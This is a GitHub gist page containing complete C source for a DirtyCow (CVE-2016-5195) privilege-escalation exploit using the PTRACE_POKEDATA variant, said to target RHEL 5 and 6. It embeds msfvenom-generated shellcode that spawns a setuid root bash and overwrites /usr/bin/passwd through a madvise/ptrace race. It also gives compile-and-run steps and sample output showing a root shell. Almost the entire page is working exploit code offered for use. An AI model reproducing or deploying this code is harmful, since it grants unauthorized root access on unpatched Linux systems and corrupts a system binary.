-
-
Save thinkycx/5db62e266dbefd4e8406af77bb34af98 to your computer and use it in GitHub Desktop.
PTRACE_POKEDATA variant of CVE-2016-5195
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* A PTRACE_POKEDATA variant of CVE-2016-5195 | |
* should work on RHEL 5 & 6 | |
* | |
* (un)comment correct payload (x86 or x64)! | |
* $ gcc -pthread c0w.c -o c0w | |
* $ ./c0w | |
* DirtyCow root privilege escalation | |
* Backing up /usr/bin/passwd.. to /tmp/bak | |
* mmap fa65a000 | |
* madvise 0 | |
* ptrace 0 | |
* $ /usr/bin/passwd | |
* [root@server foo]# whoami | |
* root | |
* [root@server foo]# id | |
* uid=0(root) gid=501(foo) groups=501(foo) | |
* @KrE80r | |
*/ | |
#include <fcntl.h> | |
#include <pthread.h> | |
#include <string.h> | |
#include <stdio.h> | |
#include <stdint.h> | |
#include <sys/mman.h> | |
#include <sys/stat.h> | |
#include <sys/types.h> | |
#include <sys/wait.h> | |
#include <sys/ptrace.h> | |
#include <unistd.h> | |
int f; | |
void *map; | |
pid_t pid; | |
pthread_t pth; | |
struct stat st; | |
// change if no permissions to read | |
char suid_binary[] = "/usr/bin/passwd"; | |
/* | |
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i | |
*/ | |
unsigned char shell_code[] = { | |
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, | |
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99, | |
0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, | |
0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, | |
0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, | |
0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05 | |
}; | |
unsigned int sc_len = 177; | |
/* | |
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i | |
unsigned char shell_code[] = { | |
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, | |
0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00, | |
0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, | |
0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52, | |
0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68, | |
0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00, | |
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53, | |
0x89, 0xe1, 0xcd, 0x80 | |
}; | |
unsigned int sc_len = 136; | |
*/ | |
void *madviseThread(void *arg) { | |
int i,c=0; | |
for(i=0;i<200000000;i++) | |
c+=madvise(map,100,MADV_DONTNEED); | |
printf("madvise %d\n\n",c); | |
} | |
int main(int argc,char *argv[]){ | |
printf(" \n\ | |
(___) \n\ | |
(o o)_____/ \n\ | |
@@ ` \\ \n\ | |
\\ ____, /%s \n\ | |
// // \n\ | |
^^ ^^ \n\ | |
", suid_binary); | |
char *backup; | |
printf("DirtyCow root privilege escalation\n"); | |
printf("Backing up %s to /tmp/bak\n", suid_binary); | |
asprintf(&backup, "cp %s /tmp/bak", suid_binary); | |
system(backup); | |
f=open(suid_binary,O_RDONLY); | |
fstat(f,&st); | |
map=mmap(NULL,st.st_size+sizeof(long),PROT_READ,MAP_PRIVATE,f,0); | |
printf("mmap %x\n\n",map); | |
pid=fork(); | |
if(pid){ | |
waitpid(pid,NULL,0); | |
int u,i,o,c=0,l=sc_len; | |
for(i=0;i<10000/l;i++) | |
for(o=0;o<l;o++) | |
for(u=0;u<10000;u++) | |
c+=ptrace(PTRACE_POKETEXT,pid,map+o,*((long*)(shell_code+o))); | |
printf("ptrace %d\n\n",c); | |
} | |
else{ | |
pthread_create(&pth, | |
NULL, | |
madviseThread, | |
NULL); | |
ptrace(PTRACE_TRACEME); | |
kill(getpid(),SIGSTOP); | |
pthread_join(pth,NULL); | |
} | |
return 0; | |
} | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment